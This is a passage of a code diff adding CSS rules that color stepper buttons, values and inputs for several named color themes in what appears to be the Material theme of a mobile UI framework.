+.md .color-theme-red .stepper-button-minus:after, +.md .color-theme-red .stepper-button-plus:before, +.md .color-theme-red .stepper-button-minus:before { + background: #f44336; +} +.md .color-theme-red .stepper-value, +.md .color-theme-red .stepper-input-wrap { + border-top-color: #f44336; + border-bottom-color: #f44336; +} +.md .color-theme-red .stepper-value { + color: #f44336; +} +.md .color-theme-red .stepper .stepper-input-wrap input { + color: #f44336; +} +.md .color-theme-red .stepper-fill .stepper-button, +.md .color-theme-red .stepper-fill-md .stepper-button, +.md .color-theme-red .stepper-fill .stepper-button-minus, +.md .color-theme-red .stepper-fill-md .stepper-button-minus, +.md .color-theme-red .stepper-fill .stepper-button-plus, +.md .color-theme-red .stepper-fill-md .stepper-button-plus { + background-color: #f44336; + color: #fff; +} +.md .color-theme-red .stepper-fill .stepper-button.active-state, +.md .color-theme-red .stepper-fill-md .stepper-button.active-state, +.md .color-theme-red .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-red .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-red .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-red .stepper-fill-md .stepper-button-plus.active-state { + background: #f21f0f; +} +.md .color-theme-red .stepper-fill .stepper-button:after, +.md .color-theme-red .stepper-fill-md .stepper-button:after, +.md .color-theme-red .stepper-fill .stepper-button-minus:after, +.md .color-theme-red .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-red .stepper-fill .stepper-button-plus:after, +.md .color-theme-red .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-red .stepper-fill .stepper-button:before, +.md .color-theme-red .stepper-fill-md .stepper-button:before, +.md .color-theme-red .stepper-fill .stepper-button-minus:before, +.md .color-theme-red .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-red .stepper-fill .stepper-button-plus:before, +.md .color-theme-red .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-green .stepper-button, +.md .color-theme-green .stepper-button-minus, +.md .color-theme-green .stepper-button-plus { + border-color: #4caf50; + color: #4caf50; +} +.md .color-theme-green .stepper-button-plus:after, +.md .color-theme-green .stepper-button-minus:after, +.md .color-theme-green .stepper-button-plus:before, +.md .color-theme-green .stepper-button-minus:before { + background: #4caf50; +} +.md .color-theme-green .stepper-value, +.md .color-theme-green .stepper-input-wrap { + border-top-color: #4caf50; + border-bottom-color: #4caf50; +} +.md .color-theme-green .stepper-value { + color: #4caf50; +} +.md .color-theme-green .stepper .stepper-input-wrap input { + color: #4caf50; +} +.md .color-theme-green .stepper-fill .stepper-button, +.md .color-theme-green .stepper-fill-md .stepper-button, +.md .color-theme-green .stepper-fill .stepper-button-minus, +.md .color-theme-green .stepper-fill-md .stepper-button-minus, +.md .color-theme-green .stepper-fill .stepper-button-plus, +.md .color-theme-green .stepper-fill-md .stepper-button-plus { + background-color: #4caf50; + color: #fff; +} +.md .color-theme-green .stepper-fill .stepper-button.active-state, +.md .color-theme-green .stepper-fill-md .stepper-button.active-state, +.md .color-theme-green .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-green .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-green .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-green .stepper-fill-md .stepper-button-plus.active-state { + background: #409343; +} +.md .color-theme-green .stepper-fill .stepper-button:after, +.md .color-theme-green .stepper-fill-md .stepper-button:after, +.md .color-theme-green .stepper-fill .stepper-button-minus:after, +.md .color-theme-green .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-green .stepper-fill .stepper-button-plus:after, +.md .color-theme-green .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-green .stepper-fill .stepper-button:before, +.md .color-theme-green .stepper-fill-md .stepper-button:before, +.md .color-theme-green .stepper-fill .stepper-button-minus:before, +.md .color-theme-green .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-green .stepper-fill .stepper-button-plus:before, +.md .color-theme-green .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-blue .stepper-button, +.md .color-theme-blue .stepper-button-minus, +.md .color-theme-blue .stepper-button-plus { + border-color: #2196f3; + color: #2196f3; +} +.md .color-theme-blue .stepper-button-plus:after, +.md .color-theme-blue .stepper-button-minus:after, +.md .color-theme-blue .stepper-button-plus:before, +.md .color-theme-blue .stepper-button-minus:before { + background: #2196f3; +} +.md .color-theme-blue .stepper-value, +.md .color-theme-blue .stepper-input-wrap { + border-top-color: #2196f3; + border-bottom-color: #2196f3; +} +.md .color-theme-blue .stepper-value { + color: #2196f3; +} +.md .color-theme-blue .stepper .stepper-input-wrap input { + color: #2196f3; +} +.md .color-theme-blue .stepper-fill .stepper-button, +.md .color-theme-blue .stepper-fill-md .stepper-button, +.md .color-theme-blue .stepper-fill .stepper-button-minus, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus, +.md .color-theme-blue .stepper-fill .stepper-button-plus, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus { + background-color: #2196f3; + color: #fff; +} +.md .color-theme-blue .stepper-fill .stepper-button.active-state, +.md .color-theme-blue .stepper-fill-md .stepper-button.active-state, +.md .color-theme-blue .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-blue .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus.active-state { + background: #0c82df; +} +.md .color-theme-blue .stepper-fill .stepper-button:after, +.md .color-theme-blue .stepper-fill-md .stepper-button:after, +.md .color-theme-blue .stepper-fill .stepper-button-minus:after, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-blue .stepper-fill .stepper-button-plus:after, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-blue .stepper-fill .stepper-button:before, +.md .color-theme-blue .stepper-fill-md .stepper-button:before, +.md .color-theme-blue .stepper-fill .stepper-button-minus:before, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-blue .stepper-fill .stepper-button-plus:before, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-pink .stepper-button, +.md .color-theme-pink .stepper-button-minus, +.md .color-theme-pink .stepper-button-plus { + border-color: #e91e63; + color: #e91e63; +} +.md .color-theme-pink .stepper-button-plus:after, +.md .color-theme-pink .stepper-button-minus:after, +.md .color-theme-pink .stepper-button-plus:before, +.md .color-theme-pink .stepper-button-minus:before { + background: #e91e63; +} +.md .color-theme-pink .stepper-value, +.md .color-theme-pink .stepper-input-wrap { + border-top-color: #e91e63; + border-bottom-color: #e91e63; +} +.md .color-theme-pink .stepper-value { + color: #e91e63; +} +.md .color-theme-pink .stepper .stepper-input-wrap input { + color: #e91e63; +} +.md .color-theme-pink .stepper-fill .stepper-button, +.md .color-theme-pink .stepper-fill-md .stepper-button, +.md .color-theme-pink .stepper-fill .stepper-button-minus, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus, +.md .color-theme-pink .stepper-fill .stepper-button-plus, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus { + background-color: #e91e63; + color: #fff; +} +.md .color-theme-pink .stepper-fill .stepper-button.active-state, +.md .color-theme-pink .stepper-fill-md .stepper-button.active-state, +.md .color-theme-pink .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-pink .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus.active-state { + background: #ca1452; +} +.md .color-theme-pink .stepper-fill .stepper-button:after, +.md .color-theme-pink .stepper-fill-md .stepper-button:after, +.md .color-theme-pink .stepper-fill .stepper-button-minus:after, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-pink .stepper-fill .stepper-button-plus:after, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-pink .stepper-fill .stepper-button:before, +.md .color-theme-pink .stepper-fill-md .stepper-button:before, +.md .color-theme-pink .stepper-fill .stepper-button-minus:before, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-pink .stepper-fill .stepper-button-plus:before, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-yellow .stepper-button, +.md .color-theme-yellow .stepper-button-minus, +.md .color-theme-yellow .stepper-button-plus { + border-color: #ffeb3b; + color: #ffeb3b; +} +.md .color-theme-yellow .stepper-button-plus:after, +.md .color-theme-yellow .stepper-button-minus:after, +.md .color-theme-yellow .stepper-button-plus:before, +.md .color-theme-yellow .stepper-button-minus:before { + background: #ffeb3b; +} +.md .color-theme-yellow .stepper-value, +.md .color-theme-yellow .stepper-input-wrap { + border-top-color: #ffeb3b; + border-bottom-color: #ffeb3b; +} +.md .color-theme-yellow .stepper-value { + color: #ffeb3b; +} +.md .color-theme-yellow .stepper .stepper-input-wrap input { + color: #ffeb3b; +} +.md .color-theme-yellow .stepper-fill .stepper-button, +.md .color-theme-yellow .stepper-fill-md .stepper-button, +.md .color-theme-yellow .stepper-fill .stepper-button-minus, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus, +.md .color-theme-yellow .stepper-fill .stepper-button-plus, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus { + background-color: #ffeb3b; + color: #fff; +} +.md .color-theme-yellow .stepper-fill .stepper-button.active-state, +.md .color-theme-yellow .stepper-fill-md .stepper-button.active-state, +.md .color-theme-yellow .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-yellow .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus.active-state { + background: #ffe712; +} +.md .color-theme-yellow .stepper-fill .stepper-button:after, +.md .color-theme-yellow .stepper-fill-md .stepper-button:after, +.md .color-theme-yellow .stepper-fill .stepper-button-minus:after, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-yellow .stepper-fill .stepper-button-plus:after, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-yellow .stepper-fill .stepper-button:before, +.md .color-theme-yellow .stepper-fill-md .stepper-button:before, +.md .color-theme-yellow .stepper-fill .stepper-button-minus:before, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-yellow .stepper-fill .stepper-button-plus:before, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-orange .stepper-button, +.md .color-theme-orange .stepper-button-minus, +.md .color-theme-orange .stepper-button-plus { + border-color: #ff9800; + color: #ff9800; +} +.md .color-theme-orange .stepper-button-plus:after, +.md .color-theme-orange .stepper-button-minus:after, +.md .color-theme-orange .stepper-button-plus:before, +.md .color-theme-orange .stepper-button-minus:before { + background: #ff9800; +} +.md .color-theme-orange .stepper-value, +.md .color-theme-orange .stepper-input-wrap { + border-top-color: #ff9800; + border-bottom-color: #ff9800; +} +.md .color-theme-orange .stepper-value { + color: #ff9800; +} +.md .color-theme-orange .stepper .stepper-input-wrap input { + color: #ff9800; +} +.md .color-theme-orange .stepper-fill .stepper-button, +.md .color-theme-orange .stepper-fill-md .stepper-button, +.md .color-theme-orange .stepper-fill .stepper-button-minus, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus, +.md .color-theme-orange .stepper-fill .stepper-button-plus, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus { + background-color: #ff9800; + color: #fff; +} +.md .color-theme-orange .stepper-fill .stepper-button.active-state, +.md .color-theme-orange .stepper-fill-md .stepper-button.active-state, +.md .color-theme-orange .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-orange .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus.active-state { + background: #d68000; +} +.md .color-theme-orange .stepper-fill .stepper-button:after, +.md .color-theme-orange .stepper-fill-md .stepper-button:after, +.md .color-theme-orange .stepper-fill .stepper-button-minus:after, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-orange .stepper-fill .stepper-button-plus:after, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-orange .stepper-fill .stepper-button:before, +.md .color-theme-orange .stepper-fill-md .stepper-button:before, +.md .color-theme-orange .stepper-fill .stepper-button-minus:before, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-orange .stepper-fill .stepper-button-plus:before, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-gray .stepper-button, +.md .color-theme-gray .stepper-button-minus, +.md .color-theme-gray .stepper-button-plus { + border-color: #9e9e9e; + color: #9e9e9e; +} +.md .color-theme-gray .stepper-button-plus:after, +.md .color-theme-gray .stepper-button-minus:after, +.md .color-theme-gray .stepper-button-plus:before, +.md .color-theme-gray .stepper-button-minus:before { + background: #9e9e9e; +} +.md .color-theme-gray .stepper-value, +.md .color-theme-gray .stepper-input-wrap { + border-top-color: #9e9e9e; + border-bottom-color: #9e9e9e; +} +.md .color-theme-gray .stepper-value { + color: #9e9e9e; +} +.md .color-theme-gray .stepper .stepper-input-wrap input { + color: #9e9e9e; +} +.md .color-theme-gray .stepper-fill .stepper-button, +.md .color-theme-gray .stepper-fill-md .stepper-button, +.md .color-theme-gray .stepper-fill .stepper-button-minus, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus, +.md .color-theme-gray .stepper-fill .stepper-button-plus, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus { + background-color: #9e9e9e; + color: #fff; +} +.md .color-theme-gray .stepper-fill .stepper-button.active-state, +.md .color-theme-gray .stepper-fill-md .stepper-button.active-state, +.md .color-theme-gray .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-gray .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus.active-state { + background: #8a8a8a; +} +.md .color-theme-gray .stepper-fill .stepper-button:after, +.md .color-theme-gray .stepper-fill-md .stepper-button:after, +.md .color-theme-gray .stepper-fill .stepper-button-minus:after, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-gray .stepper-fill .stepper-button-plus:after, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-gray .stepper-fill .stepper-button:before, +.md .color-theme-gray .stepper-fill-md .stepper-button:before, +.md .color-theme-gray .stepper-fill .stepper-button-minus:before, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-gray .stepper-fill .stepper-button-plus:before, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-white .stepper-button, +.md .color-theme-white .stepper-button-minus, +.md .color-theme-white .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.md .color-theme-white .stepper-button-plus:after, +.md .color-theme-white .stepper-button-minus:after, +.md .color-theme-white .stepper-button-plus:before, +.md .color-theme-white .stepper-button-minus:before { + background: #ffffff; +} +.md .color-theme-white .stepper-value, +.md .color-theme-white .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.md .color-theme-white .stepper-value { + color: #ffffff; +} +.md .color-theme-white .stepper .stepper-input-wrap input { + color: #ffffff; +} +.md .color-theme-white .stepper-fill .stepper-button, +.md .color-theme-white .stepper-fill-md .stepper-button, +.md .color-theme-white .stepper-fill .stepper-button-minus, +.md .color-theme-white .stepper-fill-md .stepper-button-minus, +.md .color-theme-white .stepper-fill .stepper-button-plus, +.md .color-theme-white .stepper-fill-md .stepper-button-plus { + background-color: #ffffff; + color: #fff; +} +.md .color-theme-white .stepper-fill .stepper-button.active-state, +.md .color-theme-white .stepper-fill-md .stepper-button.active-state, +.md .color-theme-white .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-white .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-white .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-white .stepper-fill-md .stepper-button-plus.active-state { + background: #ebebeb; +} +.md .color-theme-white .stepper-fill .stepper-button:after, +.md .color-theme-white .stepper-fill-md .stepper-button:after, +.md .color-theme-white .stepper-fill .stepper-button-minus:after, +.md .color-theme-white .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-white .stepper-fill .stepper-button-plus:after, +.md .color-theme-white .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-white .stepper-fill .stepper-button:before, +.md .color-theme-white .stepper-fill-md .stepper-button:before, +.md .color-theme-white .stepper-fill .stepper-button-minus:before, +.md .color-theme-white .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-white .stepper-fill .stepper-button-plus:before, +.md .color-theme-white .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-black .stepper-button, +.md .color-theme-black .stepper-button-minus, +.md .color-theme-black .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.md .color-theme-black .stepper-button-plus:after, +.md .color-theme-black .stepper-button-minus:after, +.md .color-theme-black .stepper-button-plus:before, +.md .color-theme-black .stepper-button-minus:before { + background: #000000; +} +.md .color-theme-black .stepper-value, +.md .color-theme-black .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.md .color-theme-black .stepper-value { + color: #000000; +} +.md .color-theme-black .stepper .stepper-input-wrap input { + color: #000000; +} +.md .color-theme-black .stepper-fill .stepper-button, +.md .color-theme-black .stepper-fill-md .stepper-button, +.md .color-theme-black .stepper-fill .stepper-button-minus, +.md .color-theme-black .stepper-fill-md .stepper-button-minus, +.md .color-theme-black .stepper-fill .stepper-button-plus, +.md .color-theme-black .stepper-fill-md .stepper-button-plus { + background-color: #000000; + color: #fff; +} +.md .color-theme-black .stepper-fill .stepper-button.active-state, +.md .color-theme-black .stepper-fill-md .stepper-button.active-state, +.md .color-theme-black .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-black .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-black .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-black .stepper-fill-md .stepper-button-plus.active-state { + background: #000000; +} +.md .color-theme-black .stepper-fill .stepper-button:after, +.md .color-theme-black .stepper-fill-md .stepper-button:after, +.md .color-theme-black .stepper-fill .stepper-button-minus:after, +.md .color-theme-black .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-black .stepper-fill .stepper-button-plus:after, +.md .color-theme-black .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-black .stepper-fill .stepper-button:before, +.md .color-theme-black .stepper-fill-md .stepper-button:before, +.md .color-theme-black .stepper-fill .stepper-button-minus:before, +.md .color-theme-black .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-black .stepper-fill .stepper-button-plus:before, +.md .color-theme-black .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-red .stepper-button, +.md .stepper.color-red .stepper-button-minus, +.md .stepper.color-red .stepper-button-plus { + border-color: #f44336; + color: #f44336; +} +.md .stepper.color-red .stepper-button-plus:after, +.md .stepper.color-red .stepper-button-minus:after, +.md .stepper.color-red .stepper-button-plus:before, +.md .stepper.color-red .stepper-button-minus:before { + background: #f44336; +} +.md .stepper.color-red .stepper-value, +.md .stepper.color-red .stepper-input-wrap { + border-top-color: #f44336; + border-bottom-color: #f44336; +} +.md .stepper.color-red .stepper-value { + color: #f44336; +} +.md .stepper.color-red .stepper-input-wrap input { + color: #f44336; +} +.md .stepper.color-red.stepper-fill .stepper-button, +.md .stepper.color-red.stepper-fill-md .stepper-button, +.md .stepper.color-red.stepper-fill .stepper-button-minus, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus, +.md .stepper.color-red.stepper-fill .stepper-button-plus, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus { + background-color: #f44336; + color: #fff; +} +.md .stepper.color-red.stepper-fill .stepper-button.active-state, +.md .stepper.color-red.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-red.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-red.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus.active-state { + background: #f21f0f; +} +.md .stepper.color-red.stepper-fill .stepper-button:after, +.md .stepper.color-red.stepper-fill-md .stepper-button:after, +.md .stepper.color-red.stepper-fill .stepper-button-minus:after, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-red.stepper-fill .stepper-button-plus:after, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-red.stepper-fill .stepper-button:before, +.md .stepper.color-red.stepper-fill-md .stepper-button:before, +.md .stepper.color-red.stepper-fill .stepper-button-minus:before, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-red.stepper-fill .stepper-button-plus:before, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-green .stepper-button, +.md .stepper.color-green .stepper-button-minus, +.md .stepper.color-green .stepper-button-plus { + border-color: #4caf50; + color: #4caf50; +} +.md .stepper.color-green .stepper-button-plus:after, +.md .stepper.color-green .stepper-button-minus:after, +.md .stepper.color-green .stepper-button-plus:before, +.md .stepper.color-green .stepper-button-minus:before { + background: #4caf50; +} +.md .stepper.color-green .stepper-value, +.md .stepper.color-green .stepper-input-wrap { + border-top-color: #4caf50; + border-bottom-color: #4caf50; +} +.md .stepper.color-green .stepper-value { + color: #4caf50; +} +.md .stepper.color-green .stepper-input-wrap input { + color: #4caf50; +} +.md .stepper.color-green.stepper-fill .stepper-button, +.md .stepper.color-green.stepper-fill-md .stepper-button, +.md .stepper.color-green.stepper-fill .stepper-button-minus, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus, +.md .stepper.color-green.stepper-fill .stepper-button-plus, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus { + background-color: #4caf50; + color: #fff; +} +.md .stepper.color-green.stepper-fill .stepper-button.active-state, +.md .stepper.color-green.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-green.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-green.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus.active-state { + background: #409343; +} +.md .stepper.color-green.stepper-fill .stepper-button:after, +.md .stepper.color-green.stepper-fill-md .stepper-button:after, +.md .stepper.color-green.stepper-fill .stepper-button-minus:after, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-green.stepper-fill .stepper-button-plus:after, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-green.stepper-fill .stepper-button:before, +.md .stepper.color-green.stepper-fill-md .stepper-button:before, +.md .stepper.color-green.stepper-fill .stepper-button-minus:before, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-green.stepper-fill .stepper-button-plus:before, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-blue .stepper-button, +.md .stepper.color-blue .stepper-button-minus, +.md .stepper.color-blue .stepper-button-plus { + border-color: #2196f3; + color: #2196f3; +} +.md .stepper.color-blue .stepper-button-plus:after, +.md .stepper.color-blue .stepper-button-minus:after, +.md .stepper.color-blue .stepper-button-plus:before, +.md .stepper.color-blue .stepper-button-minus:before { + background: #2196f3; +} +.md .stepper.color-blue .stepper-value, +.md .stepper.color-blue .stepper-input-wrap { + border-top-color: #2196f3; + border-bottom-color: #2196f3; +} +.md .stepper.color-blue .stepper-value { + color: #2196f3; +} +.md .stepper.color-blue .stepper-input-wrap input { + color: #2196f3; +} +.md .stepper.color-blue.stepper-fill .stepper-button, +.md .stepper.color-blue.stepper-fill-md .stepper-button, +.md .stepper.color-blue.stepper-fill .stepper-button-minus, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus, +.md .stepper.color-blue.stepper-fill .stepper-button-plus, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus { + background-color: #2196f3; + color: #fff; +} +.md .stepper.color-blue.stepper-fill .stepper-button.active-state, +.md .stepper.color-blue.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-blue.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-blue.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus.active-state { + background: #0c82df; +} +.md .stepper.color-blue.stepper-fill .stepper-button:after, +.md .stepper.color-blue.stepper-fill-md .stepper-button:after, +.md .stepper.color-blue.stepper-fill .stepper-button-minus:after, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-blue.stepper-fill .stepper-button-plus:after, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-blue.stepper-fill .stepper-button:before, +.md .stepper.color-blue.stepper-fill-md .stepper-button:before, +.md .stepper.color-blue.stepper-fill .stepper-button-minus:before, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-blue.stepper-fill .stepper-button-plus:before, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-pink .stepper-button, +.md .stepper.color-pink .stepper-button-minus, +.md .stepper.color-pink .stepper-button-plus { + border-color: #e91e63; + color: #e91e63; +} +.md .stepper.color-pink .stepper-button-plus:after, +.md .stepper.color-pink .stepper-button-minus:after, +.md .stepper.color-pink .stepper-button-plus:before, +.md .stepper.color-pink .stepper-button-minus:before { + background: #e91e63; +} +.md .stepper.color-pink .stepper-value, +.md .stepper.color-pink .stepper-input-wrap { + border-top-color: #e91e63; + border-bottom-color: #e91e63; +} +.md .stepper.color-pink .stepper-value { + color: #e91e63; +} +.md .stepper.color-pink .stepper-input-wrap input { + color: #e91e63; +} +.md .stepper.color-pink.stepper-fill .stepper-button, +.md .stepper.color-pink.stepper-fill-md .stepper-button, +.md .stepper.color-pink.stepper-fill .stepper-button-minus, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus, +.md .stepper.color-pink.stepper-fill .stepper-button-plus, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus { + background-color: #e91e63; + color: #fff; +} +.md .stepper.color-pink.stepper-fill .stepper-button.active-state, +.md .stepper.color-pink.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-pink.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-pink.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus.active-state { + background: #ca1452; +} +.md .stepper.color-pink.stepper-fill .stepper-button:after, +.md .stepper.color-pink.stepper-fill-md .stepper-button:after, +.md .stepper.color-pink.stepper-fill .stepper-button-minus:after, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-pink.stepper-fill .stepper-button-plus:after, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-pink.stepper-fill .stepper-button:before, +.md .stepper.color-pink.stepper-fill-md .stepper-button:before, +.md .stepper.color-pink.stepper-fill .stepper-button-minus:before, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-pink.stepper-fill .stepper-button-plus:before, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-yellow .stepper-button, +.md .stepper.color-yellow .stepper-button-minus, +.md .stepper.color-yellow .stepper-button-plus { + border-color: #ffeb3b; + color: #ffeb3b; +} +.md .stepper.color-yellow .stepper-button-plus:after, +.md .stepper.color-yellow .stepper-button-minus:after, +.md .stepper.color-yellow .stepper-button-plus:before, +.md .stepper.color-yellow .stepper-button-minus:before { + background: #ffeb3b; +} +.md .stepper.color-yellow .stepper-value, +.md .stepper.color-yellow .stepper-input-wrap { + border-top-color: #ffeb3b; + border-bottom-color: #ffeb3b; +} +.md .stepper.color-yellow .stepper-value { + color: #ffeb3b; +} +.md .stepper.color-yellow .stepper-input-wrap input { + color: #ffeb3b; +} +.md .stepper.color-yellow.stepper-fill .stepper-button, +.md .stepper.color-yellow.stepper-fill-md .stepper-button, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus { + background-color: #ffeb3b; + color: #fff; +} +.md .stepper.color-yellow.stepper-fill .stepper-button.active-state, +.md .stepper.color-yellow.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus.active-state { + background: #ffe712; +} +.md .stepper.color-yellow.stepper-fill .stepper-button:after, +.md .stepper.color-yellow.stepper-fill-md .stepper-button:after, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus:after, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus:after, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-yellow.stepper-fill .stepper-button:before, +.md .stepper.color-yellow.stepper-fill-md .stepper-button:before, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus:before, +.md .stepper.color-yellow.stepper-fill-md 